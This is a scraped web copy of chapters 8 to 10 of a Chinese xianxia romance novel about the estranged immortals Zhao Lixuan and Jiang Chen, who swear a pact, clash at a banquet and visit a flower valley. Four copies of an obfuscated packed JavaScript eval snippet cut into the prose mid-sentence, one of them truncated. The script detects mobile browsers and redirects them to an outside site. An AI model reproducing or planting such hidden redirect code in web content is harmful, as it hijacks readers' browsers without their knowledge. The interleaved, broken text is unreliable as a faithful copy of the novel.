台阶不长,却因两相沉默而略显窒息。 赵离玄略微落后半步,目光再度落在那被腰带束紧的腰身上。 血珀和鲛绡在寂静中轻微晃动,发出几不可闻的叮当声。 ……才发现从这个角度,他看过太多次姜沉的背影。 可那时年少,只顾飞蛾扑火。竟未觉察姜沉从来不肯等他,更不回头看他。彻头彻尾都是他一个人的独角戏。 两人走上祭坛。 符文流转之下,青色灵火跃动不息。订立誓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582004|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约的流程本身并不复杂。 唯一糟糕的是,两人得需对着这盆誓约之火立下盟誓才能成契。立誓期间,手还必须交叠相覆,掌心相贴,以示心意相通、盟约无瑕。 “……” 呵,倒不如干脆当场要了他的老命?! 气氛当场凝结。两人当然是谁都不愿意先主动伸手,谁疯了才伸手! 但……也总不能一直拖着吧? 沉默。 漫长的沉默。 无比漫长的沉默。 赵离玄心中简直要尖叫哀叹。救命,再拖下去,他真的脚趾都要祭坛下面抠出一座地宫了。算了,伸头是一刀,缩头也是一刀,哪样都是死。 他索性主动摆出高姿态,扯出一个微笑,努力友好疏离且客气:“姜仙君,时辰不早,还是……尽快吧?” 他尽力了,真的。 明明他已这般能屈能伸…… 青色火光幽幽跳动,映在姜沉脸上。 那双暗沉死寂的眸子却不仅不为所动,还隐隐透出一丝血红与刺骨的寒意。像是极力忍耐着什么。 赵离玄:“……” 是是是,知道你忍无可忍。 他默默深吸一口气,继续大度地伸着爪晃了晃,无奈开口催促:“姜仙君,要定约了。” 姜沉还是纹丝未动。 弄得赵离玄也差点就要绷不住最后的体面——够了,真当就你一个委屈?谁还不是一样在忍!!! 救命,这到底是什么糟心场面。 大哥,这真是誓约必要流程!您贵为燎原庭执剑仙尊,想必此类仪式即便没经历过上千次,几百次总该有吧?不该不知道啊! 真不是我借机想碰触您的玉手!!! 古人云士别三日当刮目相看,拜托姜仙君您不要被害妄想了好不好?我赵离玄也不是什么绝世情圣,哪来绵延二十年的长情? 但他又不能真把这些话吼出来。 毕竟万一别人不是在气这个,那被他一解释,岂不是反倒成了欲盖弥彰、此地无银三百两,越描越黑? 唉,人生太难。 能不能快点结束啊??? …… 时隔多年,姜沉的指尖还是那么冰冷。 他有寒症,小时候又过得不好,身体根基很差,手足常年冰冷。当年赵离玄对他满心的疼惜,冬天总爱将那双骨节分明的手拢在自己怀里,直到那冰凉的指尖回温。 如今想想,那时他真就太年轻,完全就没见过世面。 才会随便看到一个又湿又冷的普通妖仙,就当宝贝一样喜欢。 好在后来的二十多年间,他又认识了更多的人、见过更广的天地。 知道了茫茫仙海,天外有天,谁也算不得独一无二。 灵力顺着二人相贴的掌心,缓缓注入祭坛。 但,这也实在太凉了。 比记忆中还凉。赵离玄握着姜沉的手,简直像握着一块万年不化的寒冰。 可如果他没记错,他当年应该是寻遍灵药,把姜沉的寒症治好了的吧?大夏最好的医者不都说是已经根治了吗? 更何况小册子上写的,姜仙君好像还是个火蝴蝶。 怎么能冷成这样? 8. 第 8 章 当然,姜沉冷与不冷,也不关他事。 赵离玄收敛心神,继续注入灵力,之后长达一炷香的仪式过程中未再看姜沉一眼。 姜沉亦只垂着眸。 眼神渐渐褪去了适才汹涌,只余有些疲倦的疏离与麻木。 好容易灵力注入完毕,赵离玄迫不及待先收回手。 “好了,回去!” 结契领域内是永夜,没有星辰月华,除了脚下一条散发着微光的、苍白的路,就只剩令人窒息的墨色。 赵离玄火速走下玉阶,这次尽可能全程在前面衣袂翻飞,头也不回! 一切只为避嫌。 只愿能多少降低一点对方心中那莫须有的误会! …… 退出结契领域,两人重回众人视野。 赵离玄还未站定,就觉一股巨大的威压如山岳般轰然袭来!狂风骤起,卷起漫天飞沙走石,凌厉的气流卷得在场众仙一时无法吐息。 鹿紫苑与夏云阶都不禁微微蹙眉。 那阵怪风烈烈呼啸,裹挟着青色的法阵铭文。刹那间,结契已成的证明便以一种不容抗拒的方式,强行烙印进在场每一位仙者的识海之中。 ……其实,将契约结果公示于众,本是常规流程。 但姜沉完全可以做得更温和、更符合礼数。 正确的做法本该是祥和地展示,而非此刻这般如同炫耀武力、展示军威一般直接强行打入众人识海,更遑论他此刻还是一脸阴鸷冰冷、隐含戾气的表情? 他这样搞,一时间不少人都微微变色,甚至浮熙宫一些护短同门,已然轻触剑柄。 唯有始作俑者一双眸子依旧黑沉如井,无波无澜。 不是。 什么狗意思啊这人? 几乎是同时,夏云阶一道密音亦打入赵离玄脑海:“黎玄,怎么回事?” 怎么回事,赵离玄也想知道怎么回事! “仙首!我刚在里面与他结契,绝对恪守礼仪,半件多余的事都没做!我也不知为何这人突然就……发疯发癫!” “……” 夏云阶有一点极好,就是很爱护短,且总能无条件相信自己人:“罢了。姜仙君性子古怪、难以相处人尽皆知。还辛苦你多担待些。” “猎魔月狩最多两个月后就便能结束,他若不讲道理,你……尽量忍让、避其锋芒便是。” 赵离玄:“……” 问题是,他刚才在结界里难道没有避他锋芒吗? 这么些年,赵离玄从未逃避过一个事实。那就是两人当年之事,确实算他有错在先。 是他蠢,不该一厢情愿“喜欢”人家。尽管他原本并无欺辱与逼迫之意,可姜沉认定那是强掠、是莫大的屈辱,是他执剑仙君尊贵仙生中无法抹去的污点,赵离玄也无话可说。 只能认栽,老实立正认错挨打。 可姜沉骂也骂过了,砍也砍过了,说好了“两清”的—— 多年以后又摆出这副苦大仇深的模样是想怎样? 好歹,如今大家也都是仙界有头有脸的人了。 就算旧怨难消,又有什么赔偿不能私下谈?非要当众发小孩子脾气,很长脸吗? 可笑,都二十年了,他还以为双方都已脱胎换骨。 总不会姜沉根本一点没长进,还是那浑身带刺的臭脾气吧? “……” 人生在世,礼尚往来。 赵离玄虽是个人尽皆知的好脾气仙君,但好脾气也不是没脾气。既然姜沉先不给他面子,他自然也不再客气,目光亦犀利抬起,直直追瞪对方。 姜沉起初继续漠视。 直到被他死死盯得无法,终才于又肯看过来。 当然了,这边赵离玄目光不善,那边的目光顷刻就更加冰冷慑人。 黑瞳深深,寒意彻骨,说是冰冻三尺都不为过。 就连二十年前,赵离玄都不记得姜沉曾用如此直白森寒的眼神看他。 “……” 行,懂了。 他点点头,彻底明白了对方的态度。 这是打定主意不打算和平相处了,是吧? …… 遥想二十年前刚分开时,赵离玄还会常常自责。 傻乎乎地觉得“一切都是我的错”,傻乎乎地想着“要是一切能重头来过就好了”。偶尔偷抹一把眼泪,去街上都还会下意识地按著姜沉的口味选购食材;见到什么新奇有趣的小玩意儿,第一反应也仍是要给小姜囤着。 那个时候的他,天真又愚蠢。 好在二十年光阴荏苒,黎玄仙君早已成长—— 凭什么非要反省自己?凭什么非得把过错都揽到自己身上? 人生在世,若连自己都不肯替自己狡辩护短,那活着还有什么滋味。 何况撇开实事不谈,他姜临渊当年就没有一点错吗? “姜仙尊,请留步。” 浮熙宫外,大庭广众朗朗乾坤。 正值黄昏入夜,云霞明灭。赵离玄料定在这两界修士齐聚和睦的场合,姜沉不敢全然不给他面子。 果然,那道挺拔的身影不情愿地顿了顿。 将人引至僻静处,赵离玄才虚伪一礼,开门见山:“敢问姜仙尊,适才离玄可是有何处行事不妥,得罪了仙尊?” 他抬眼,目光清正、不卑不亢:“仙尊适才似乎对黎玄颇有怨气,还望仙尊明示。” “……” 一片沉寂。 时隔多年,赵离玄本也不想闹得直白难堪。 但谁让姜沉无礼在先? 此刻,他再度直直看向对方。就见姜仙君静立于廊下阴影,落日霞光在他身后铺陈开来,却暖不透他周身凛冽的气息,和双深不见底、情绪翻涌的黑眸。 凝滞的气氛令人窒息,就在赵离玄以为他不会开口时,姜沉终于缓缓打破了沉默。 他的声音比二十年前更为低沉沙哑,带着近乎艰涩的停顿,一字字道: “黎玄,仙君,这些年,似乎,过得,不错。” “……” 赵离玄愣了愣。 太久了,他竟差点没反应过来…… 确实,姜沉说话,一直都是这样断断续续的。 甚至他们初遇时,情况远比如今更为严重。那时的姜沉,喉咙只能发出嘶哑的气音。 因他幼时失怙,流落街头,曾被一伙歹人强行掳走逼他行乞。那群恶人为了更好地控制乞儿,竟十分阴毒地剪去了他一小截舌根,又灌下哑药坏了他的嗓子。 后来,即便赵离玄将他养在身边,遍寻名医为他调养,终究还是说上两三个字,便要费力停顿。 但那时,赵离玄满心满眼都是他。 不仅不觉得他残缺,反而只觉更加心疼。怜惜他年幼吃苦,只恨不能双手将世上所有最好的都捧到他面前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582005|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 但今时早不同往日! 今日的赵离玄可再不会继续怜爱什么,只淡淡回道:“承蒙姜仙尊挂心,在下这些年在不染仙境,是还算逍遥自在。” 随即又笑:“一如姜仙尊这些年,听闻亦是过得十分风生水起、顺遂得意。” ‘……’ “我?” 空气中酒香浮动,似乎浓郁了一瞬。赵离玄一个晃神,再定睛时,姜沉已逼近眼前。 未加收敛的妖气森然弥漫,带着浓烈的压迫。 “自然是,好得,很。” 妖气森森,他脸上倒是没有太多异色,只一如既往的阴沉冷冽,“比以往,过去,是要,好得,太多。” “如此,回答。” “仙君,可还,满意了?” “……” 赵离玄能说什么。 姜沉既说过得好,那过得好便是。他又哪有资格说什么满意不满意? 是是是,您姜仙君过得好,自然是普天同庆、八方来贺!就您这几年在人间界的步步高升,声名远扬,想不知道您如今是何等的风光无限都难! 至于跑过来急不可耐地炫耀你离了我以后是何等的海阔天空? 弄得好像谁小肚鸡肠、旧情难忘,见不得人好似的! …… 但凡不办这劳什子猎魔月狩,赵离玄绝对当面怼他了。 也不至于回去后躺在榻上翻来覆去,越想越气——什么狗意思? 都二十年了,当谁还对你念念不忘呢? 自作多情! 赵离玄气的睡不着。 但无奈,自人间界众仙入住浮熙宫后,夏云阶私下召他们开会更是三令五申、翻来覆去强调“务必团结,必须和睦!” 务必你爹! 随后几日,为践行和睦,夏云阶更是每天亲自带着鹿紫苑遍览风光,郁如沐也每日变着花样给楚浮生烹制佳肴,其他仙君亦各显神通,陪着各自负责的仙友赏花下棋、吟风弄月,好一派宾主尽欢、其乐融融的景象。 唯有赵离玄至今晾着姜沉! 真不是他器量小,或对“睦邻友好”的指示阳奉阴违。实在是他这边的当务之急,是必须让姜沉清醒地认识到—— 他赵离玄此刻唯一的愿望,就是猎魔月狩能顺顺利利办成,他绝无半点想要暗戳戳再续前缘的心思!!! 然而,万众瞩目的黎玄仙君,天天那么多双眼睛盯着。 才刚称病晾了姜沉两天,连招待礼物都还在按部就班送着,就有谣传“两人不和”的风言风语了。 当然,虽有流言。 但因赵离玄素来温和雅正形象深入人心,而姜沉性子冷硬、不好相处更是两边共识。于是舆论一边倒地认为,定是姜沉刁难强势,才把好脾气的黎玄仙君都给气病了。 赵离玄:“……” 好好好,就这么传。 最好送出去的礼物也能和当年一样,被统统撕破扔回来。这样他更能甩锅姜沉,坐实外面的传言。 结果却未能如愿。 许是他这头被夏云阶施压,那边姜沉也同样被鹿紫苑约束,那些礼物姜仙君默默全收了。 倒是夏云阶天天催,让他赶紧想办法带着姜沉出门转一圈,做足表面功夫,以正视听,切勿影响团结大局! ……作孽啊。 装病都不成,这该死的大局观! 9. 第 9 章 赵离玄连日装病的理由,自己都觉得敷衍。 说是贪凉,得了风寒。 可人尽皆知仙体澄澈、百邪不侵,等闲哪有那么容易风寒? 然而真有人信。比如郁如沐,还特意去药圃采了仙草,专门为他熬了补汤送来! 那汤炖得极好,百年雪玉藕配上天山仙鹤的翅骨,再佐以参芪在小火炉上煨足时辰。汤色底厚雪白,香气浓郁扑鼻,赵离玄接过汤碗浅尝一口,就觉鲜美无比唇齿生津、暖意直达四肢百骸。 他当即捧起汤盅——吨吨吨。 吨吨吨吨吨吨。 郁如沐:“……原来,你真是装病啊。” 想来这些天他也听了不少风言风语,不免担忧:“可离玄,你便是称病避着姜仙君,也不是长久之计吧?” “不过,连你这般好的性子都被逼得只能躲起来,足见那位仙尊多么不好相与。” 全程赵离玄只顾着低头喝汤。 吨吨吨,嘬嘬嘬。 “你啊……”见他喝得香甜,郁如沐无奈。 窗外夕阳余晖透过窗棂,浅浅落在他寂寥的侧脸。 赵离玄刚好喝完最后一滴,难得看见这位小师兄脸上,久违地浮现出一丝真心浅笑。 晚霞如火,将庭院里的落梨都染成粉金,随着微风簌簌落下。有一刻,时光仿佛回到了多年以前。 那时兄长还在,浮熙宫日日满是热闹。 清晨黄昏,总能听见鹿师姐清亮带训弟子的声音;后山演武场里,亦总能见到沈师兄剑光寒芒闪烁。 夏云阶那时是除他之外仙门第二爱偷懒之人,天天躲在那棵最高的柿子树上打盹;时不时后院丹房里一声巨响,必是郁如沐又炸了丹炉。 虽然,如沐仙君其实已是浮熙宫公认的手巧,做得一手好菜,连木工裁衣都颇有造诣。 然漫漫医道,还是免不了会炸炉。 赵离玄每次赶去,总能见郁如沐在袅袅青烟中衣角灰焦黑,活像一只受了惊吓、呆在当场的小灰兔。 赵离玄一直都觉得,如沐师兄合该是个兔仙才对。 那种全身温暖、稍一受惊就会竖起耳朵的感觉,太像小兔了。 郁如沐是十岁左右,被赵岚泽捡回浮熙宫的。 在此之前,他与姜沉一样曾流落街头、备受世间恶意。很久以后赵离玄才明白,像那样小小年纪就吃过太多苦的人,最终往往会成两个极端。 要么就如姜沉,浑身带刺、冷的要死,怎么也捂不热。 要么就如郁如沐,外表温顺,骨子里却藏着近乎卑微的讨好,只要能得到哪怕一丝一毫的善意,就恨不能倾其所有地回报。同时却又永远惴惴不安,有如溺水之人渴望浮木般拼命想要抓住什么。 这一点,就连当年那个乐天迟钝的赵离玄,都隐隐有所觉察。 总觉得要对如沐师兄更好一点。 不然一眼看不到,他自己就会默默地枯萎死掉。 …… 两日后,浮熙宫召开首次战略部署大会。 猎魔之期将近,事关三界安危,赵离玄也不得不“病愈”出席。 会议首日上午,先由夏云阶向燎原庭众仙详细阐述不染仙境研讨多日、反复推敲定下的月狩细则。 内容从人员配置到后勤补给,再到常规警戒与阵□□换等一应事宜。随后,又有几位仙君依次汇报,从讲解流霭隙渊地图到演示协同作战阵法要诀。 这些内容,赵离玄毕竟反复参与草拟,早已烂熟于心。 因而会议不久,他就开始神游天外。 趁着无人注意,干脆从云纹广袖中摸出一张澄心堂玉版笺,偷偷给好友写信。 郁如沐就坐在他身侧,目光无意一瞥,刚好看清那信笺抬头上工整清隽的字迹——"荻春公子亲启"。 郁如沐:"啊。" 浮熙宫一向有“捡人回家”的优良传统。少有人像他那般运气不佳,平生只捡了一回,就捡了个魔族将领。 赵离玄捡人的手气就不错。 比如这位荻春公子。约莫七八年前,荻春遭仇家追杀,身负重伤时逃进不远处的蓿花仙草甸,刚好遇上正在赏花的赵离玄,便这么被带回了浮熙宫。 伤愈后,荻春投桃报李,接手了赵氏名下最大的"三界通衢商行"。短短三年便经营得风生水起,利润直接翻了两番。 当然,荻春接手商行,亦有自己缘由—— 他身为人仙混血,背负家族秘辛,正需借商行掩护行踪、改头换面躲避仇人。 刚好,赵离玄也正需要一个信得过的人,代他收集各方情报。 两人一拍即合。 此后数年,荻春领商队走南闯北,每月总会寄回一两封密信,细述沿途所见、妖仙异闻、人魔秘辛。 这惯例一直持续,却在三个月前戛然而止。 赵离玄连派数只灵鸟、仙蝶前往探寻,却始终寻不到商队的半点踪迹。 实在太过蹊跷。 眼下,郁如沐也只能温言宽慰:“荻春弟弟一向心思缜密、神出鬼没,又擅易容、懂医术、还很会逃跑,想来不会有人轻易奈何得了他。” “还记得吗?上回他失联,不也是误入了一座上古仙陵,探秘去了么?” “许是此番又遇着什么机缘,正在寻宝。” 此刻,赵离玄也只能往好处想。 无论如何,信还是要继续写,万一收到回复呢?另外他也已加派人手前往仙都,只盼能早日查清商队下落。 整个白天,两人一直窃窃私语,肩并肩坐得极近。 全然未曾留意到侧方席位上,一道视线始终落在他们身上。 姜沉静坐于阴影处,目光淡淡将两人亲近姿态一寸不差尽收眼底,眼底幽深,叫人辨不清情绪。 …… 整日冗长的会议后,暮色如墨,渐次浸染。 浮熙宫华灯初上,觥筹交错的热闹驱散了白日会上的肃然。 众仙君也都放松下来,席间谈笑寒暄、来往应酬。烛影摇曳,灵花浮香,时不时举杯一阵欢笑,全场充满了快活的空气。 一片融洽之中,唯有一人格格不入。 姜沉独自坐在大殿角落一隅,墨色衣袍半隐于阴影之中,既不抬眼,也不与人交谈,生生与周遭热闹隔绝。只垂着眸,一杯接一杯地自斟自饮,周身一如既往散发着生人勿近的冰冻气息。 赵离玄:“……” 说真的,他有时也是打从心底佩服—— 这人真就演都不演。 犹记当年在萧雪楼时,他也总是独来独往。可年少孤傲也就罢了,如今他已身为人界最高仙门的执剑仙尊,怎么还能这么我行我素不合群? 赵离玄毫不怀疑,若始终无人上前,这位姜仙尊真能罔顾周遭宾主尽欢,独自一人在这角落里坐到宴席终了。 ……好嘛,那场面肯定十分好看。 无话可说。 赵离玄心里暗骂一声祖宗,端起酒杯深吸一口气,硬着头皮朝那个角落走去。 “……”任务,大局为重,妖仙和睦要紧! 就算没有夏云阶天天老父亲一般的耳提面命,他也是长了眼睛的,看得到宴席上夏云阶正含笑为鹿紫苑挡酒,郁如沐细心为楚浮生布菜。 其他同僚仙君们也个个恪尽职守,周到地陪伴着自己负责的“贵客”。满殿光华流转,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582006|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影皆是成双成对。 他可不想做那唯一异类,日后落人话柄! 是以,黎玄仙君强迫自己挤出一百二十分的亲切,自顾自在姜沉身旁优雅落座,笑容优雅清正:“姜仙尊。” “前几日黎玄身体抱恙,未能亲自相陪,怠慢之处还望勿见怪。来,离玄敬您一杯。” 他举杯,摆足了友善姿态:“风寒方愈,暂以茶代酒。我先饮为敬!” “……” 没有任何回应。 事实证明,一头热对姜沉从来没用。不管是二十年前他满怀爱意时,还是二十年后他真心只是希望姜仙君为大局好歹给他几分薄面时。 姜沉都一如既往,拒不配合。 唯一与二十年前不同的,是过去姜沉不喜他便是冷淡、拒绝,会沉着脸不看他、生生将他冻在原地。 如今可好。 同样是不理,可那双黑瞳却自他落座那一刻起,就直勾勾、死死钉在他身上。 目光冰冷、克制、深沉死寂。 “……” 难以想象若是其他同僚被他这般阴恻恻盯着,该是何等局促难堪? 幸好他不一样。 姜沉的所有路数,他二十年前就早领教透了。如今再如何竖起浑身尖刺,也丝毫伤不了他。 甚至,他迎着那双冷黑眸子,还能继续若无其事继续笑道: “对了,说起来宫外不远的花谷,有片蓿花仙草甸。此季垂露忘忧草正值花期,金蕊玉瓣、自生微光,夜色里更似一汪星河流淌……十分好看。” “明日得闲,姜仙尊要不要跟赵某一起去走走看看?难得来一趟不染仙境,这仙界才有的绝景……” 打断他的是一声低沉的讥诮。 “仙君,着实,健忘。” 赵离玄:"啊?" 见他一脸迷惘,姜沉眼中嘲讽更甚:"忘忧草,人间,亦有。才几年,仙君就,不记得?" 赵离玄简直莫名其妙。 垂露忘忧草分明是仙界独有的灵植,人间哪里可能有?他在说什么鬼话? 然而姜仙君却好似并不这么认为,那双黑沉沉的眸子如浸寒潭,最后一丝温度也消散殆尽。 “也是,仙君,亲友,众多。逍遥,惬意。” “自然,不记得。” 赵离玄:“……” 不是,他什么意思啊? 算了管他呢,反正他该邀约的也邀约过了。对方不答应正好,他就这么跟夏云阶交代。 忘忧草花田绝世好看,看不到也是姜沉自己没福…… 正这么想着,一段几乎快忘干净的陈旧回忆却忽然复苏。 姜沉过去也不爱看花。 好似有过那么一次,他兴致勃勃地拉着姜沉去赏名动天下的安沐花海,结果兴冲冲乘船过去,对着霓裳似的绚烂花海,姜沉全程就只是面无表情地站在一旁。 从头到尾,只有赵离玄一个人欣喜,拉着他左跑右跑。 某人就负责冷着脸,最后硬邦邦地丢下一句“看完了?可以回去了?”生生把人一腔热情浇灭。 ……他当初居然能喜欢这种扫兴的人,甚至还连同他的冰冷和坏脾气一起喜欢。 也着实荒谬。 正恍惚想着,忽然听见身边人冷冰冰道:“好。” 赵离玄:“哦,啊……嗯?什么?” 大概是他一脸反应不过来呆愣的样子很能惹恼人。姜沉侧脸线条紧绷,无比生硬: “……左右,无事。” “花海,去看看,也罢。” 他说着转过眼去,似是懒得再看赵离玄,自嘲了一声:“若不要,那就,算了。” 10. 第 10 章 翌日,赵离玄从清早就坐立难安。 晚上要跟姜仙君去花海……穿什么啊?素白常服不够庄重,织金绣云的礼服好像又过于刻意。 最后,勉强择了件月白底金色云纹的广袖长袍,束发的玉簪更换了三四支才定下,只求个“不失体统,亦不显得刻意殷勤”。 午饭也吃得没滋没味,午睡时也睁着一双眼,望着帐顶繁复的绣纹,生生毫无困意。 赵离玄现在就是一个日常性后悔。 那片蓿花仙草甸,可是他在这不染仙境最私密、最钟爱的地方! 以前每每得闲,他总爱独自去寻一处最厚的花丛躺下,任散发着清甜香气的繁星花朵将他淹没。 就那样透过□□,看碧空澄澈、流云舒卷,一躺便能是一整天,忘却所有纷扰。 那本是他一个人的自留天地,若从此都被染上关于姜沉的糟糕回忆,他以后还怎么好好过去发呆? 可若是换个地方…… 赵离玄想了想,流霞日亭视野开阔,却是他平日观云品茗之所;听雪白林幽静深邃,更是他练剑悟道之地,镜月银湖也很不错,但他同样不舍得带姜沉去。 想来想去,结论就是整个不染仙境,没有一处他愿意与姜沉共享! 就这么心神不宁捱到黄昏,约定的时辰到了。赵离玄视死如归地整了整衣袍,迈出了梨花水榭。 早死早超生。 姜沉暂住的枫藤小院,与他居所其实仅一墙之隔。 可自打姜沉入住,他还是第一次去。 明明这浮熙宫整个都是他自己的家,转过这个回廊就是那丛翠竹,穿过月亮门必见那株老梅……闭着眼都能走的地方,为什么今天仅仅几步路,他却全程偷感无比重? 莫名就像是要去做贼。 就连远远看见几个同僚,都恨不得能立马隐身,不断默念“看不到我、看不到我”。 可还是狭路相逢。 当对方笑着寒暄“黎玄仙君行色匆匆,是要去往何处”,他也只能僵硬扯出一个微笑:“呵,当然是……去寻姜仙君。” 这么说其实挺好。 毕竟夏云阶成天都在嘱托,让他赶紧带着姜沉做足表面功夫。这不?眼下几位同僚都误以为他们关系还行了。 可为什么他却有种仿佛被当众扒掉了衣服一般的羞耻? “……”到底何必受这罪。 跨过月亮门和蜿蜒回廊,终于迈入枫藤小院。院中一如既往清雅别致,只是院角那一方活水小池里,原本该养着几尾色彩斑斓的灵动锦鲤。而廊下的小窝里,也该住着两只毛茸茸、总爱蹭他手心的垂耳灵兔。 可如今…… 赵离玄默然望着空无一物的池塘,和廊下积了薄尘的兔窝。 有什么办法?谁让姜仙尊讨厌兔子和鱼,他只能早早命人清理走了。 他的宝贝锦鲤如今委屈在老远的荷花池里跟一群笨蛋灵龟挤着,两只垂耳兔更是被迫暂居郁如沐处,天天被郁如沐养的两只大黑兔揍。 可恶姜沉,鸠占鹊巢。 却又没办法不未雨绸缪,毕竟这位难伺候的主总爱莫名生气,把所有碍他眼的东西提前清走才是正道。 然而,还是百密一疏。 刚踏进最里内院,赵离玄就生生脚步一滞,脑子嗡的一声。 ……丝瓜花?! 谁能告诉他,暮色中的枫藤小院花架上,为什么会凭空冒出几株翠绿欲滴的丝瓜藤? 他明明绝对没在这里种过这玩意儿!为何此刻,那鹅黄色的花朵会在暮色中开得正好? 弄得这整间枫藤小筑都该死地有点像二十年前,他和姜沉在人间界住过的那处小院! 糟糕,姜沉不会也觉得像吧? 不会以为是他故意弄出来,在暗示什么吧? …… 更让人欲哭无泪的是,在他硬着头皮叩响门扉后,姜沉就只是隔空震开了门栓,“吱呀”一声,木门应声而开了一条缝。 “……”赵离玄额角青筋突突跳。 ——门开了,他自己进去? 不,他才不上当。就他俩那个前科在案的情况,谁还敢瓜田李下,孤男寡男共处一室? 他有经验。姜临渊这种人是惯会歪曲人意思的,他才不会再傻乎乎地进去然后跳进天河洗不清! 不然万一,到时他不小心,脚下一滑摔人身上了,再“恰好”一起摔床上,又“精准”压着人家。 呵呵,那画面太美他不敢想。 好在僵持片刻后,姜沉总算是阴着一张冻死人的脸,自己从里面出来了。 不好则是……姜仙君今日依旧是一身看似低调、实则用料和做工都极尽隐匿奢华的墨色长袍,细看衣襟与袖口处,还以极细的银线绣着繁复的流云暗纹,在暮光下隐隐流动。 可偏偏他今日,亦是一身刻意挑选的同样低调奢华的白色长袍,衣襟与袖口处,同样以金线绣着流云纹。 两人这么一站,一黑一白,纹样相衬,怎么看怎么恰是一对!!! 呵呵。 赵离玄真心感觉自己这次死得十分安详。 好在姜沉一如既往冷淡,并未多看他几眼。出了院门后,步伐也如常迈得又快又疾,一言不发就又将大半背影甩给了他。 “……” 刚出外门,又遇熟人。 郁如沐正带着楚浮生,要去听雪白林赏近来新生出的“流光萤蘑”,旁边更有另两对仙君同去。 三对人,六双眼睛齐刷刷看过来。看看他,看看姜沉。又看看他,再看看姜沉。 “……”赵离玄内心简直麻木。 事实证明仙生在世,就不该强行摁头营业! 大概他跟姜仙君站在一起的画面实在过于违和,每位仙君脸上表情都略微难以形容,楚浮生更是嘴角一直在可疑地抽动。 憋不住笑,因为实在好笑。 眼前二人,说他们关系僵硬尴尬吧,又穿着情侣道袍。说他们和睦吧,又双双一脸的生无可恋、视死如归。 他直接一个看热闹不嫌事大:“哟,赵仙君,姜仙君,去哪啊?” 片刻的沉默后,赵离玄干巴巴挤出几个字:“看花。” 楚浮生初来乍到不知花谷,倒是郁如沐闻言神色一动:“去你的蓿花仙草甸?” 他明显会错了意,当即十分真诚地欣慰起来,温声道:“太好了姜仙君,那花谷离玄平日里可宝贝得很,从来只舍得带最亲近的挚友去……” “其实你们既是同窗旧交,您这次过来,离玄私底下还很是上心的。无论是您下榻的枫藤小院还是日常吃食,黎玄都特意按照您的喜好调整过,知道您不喜鱼羹、不爱甘松香,都专门叫筹备司换过呢!” 赵离玄:“……” 你快走吧,赶紧的。 直到离开,郁如沐都不忘回头,眼神鼓励:“离玄,好好相处,水滴石穿。” 赵离玄:“…………” 更让他心梗的是,郁如沐那些鬼话,姜沉似竟听进去了。 之后半程,姜仙君终是不再那般冷硬疾行,多少慢下一些,两人得以默默无言,并肩前行。 黄昏越发深沉,天际最后一抹瑰丽霞光褪色收敛,缓缓融入沉郁的蓝灰色调。远山轮廓模糊,晚风带着凉意拂过路旁的仙草,发出细微的沙沙声响。 暮色四合,身侧之人极低地说了一句什么。 “……我并不,讨厌,甘松香。” 啊?什么? 风声太大,赵离玄一时没听清。 姜沉却抿紧了唇,目视前方,只硬邦邦地吐出两个字:“没事。” 赵离玄:“……” 幸好,蓿花仙草甸并不远。 甫一踏入谷口,漫山遍野的忘忧草便撞入眼帘。 灿金的花瓣托着玉质的花蕊,在漫天残霞下流转着琥珀般的温润光泽,宛如铺展到天际的绸缎。更有万千幻光琉璃蝶在花间翩跹起舞,翼翅上鳞粉折闪着迷离光晕,宛如流动极光美得惊心动魄。 赵离玄忍不住偷偷瞥了身侧的姜沉一眼。 风过花海,如千万摇曳星辰。瞧瞧,这不染仙境独有的盛景,哪里是人间界可以比得了的? 可姜沉墨色瞳仁映着漫天华彩,却像全然不为这绝世景致所动。 只冷冷回瞥一眼,接着在赵离玄不解的目光中垂眸俯身,修长的手指从花海中摘下了几株难得尚未绽放的、仍是青嫩花苞的忘忧草。 接着,他突然一把拽过赵离玄手腕,不由分说地将那几株带着夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582007|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露微凉的花苞塞进他手心。 掌心余温未去。 赵离玄怔忡,垂眸看去。 几株忘忧草的花苞未开,紧紧收束成一束,形态细长,颜色青中带金…… 等等。 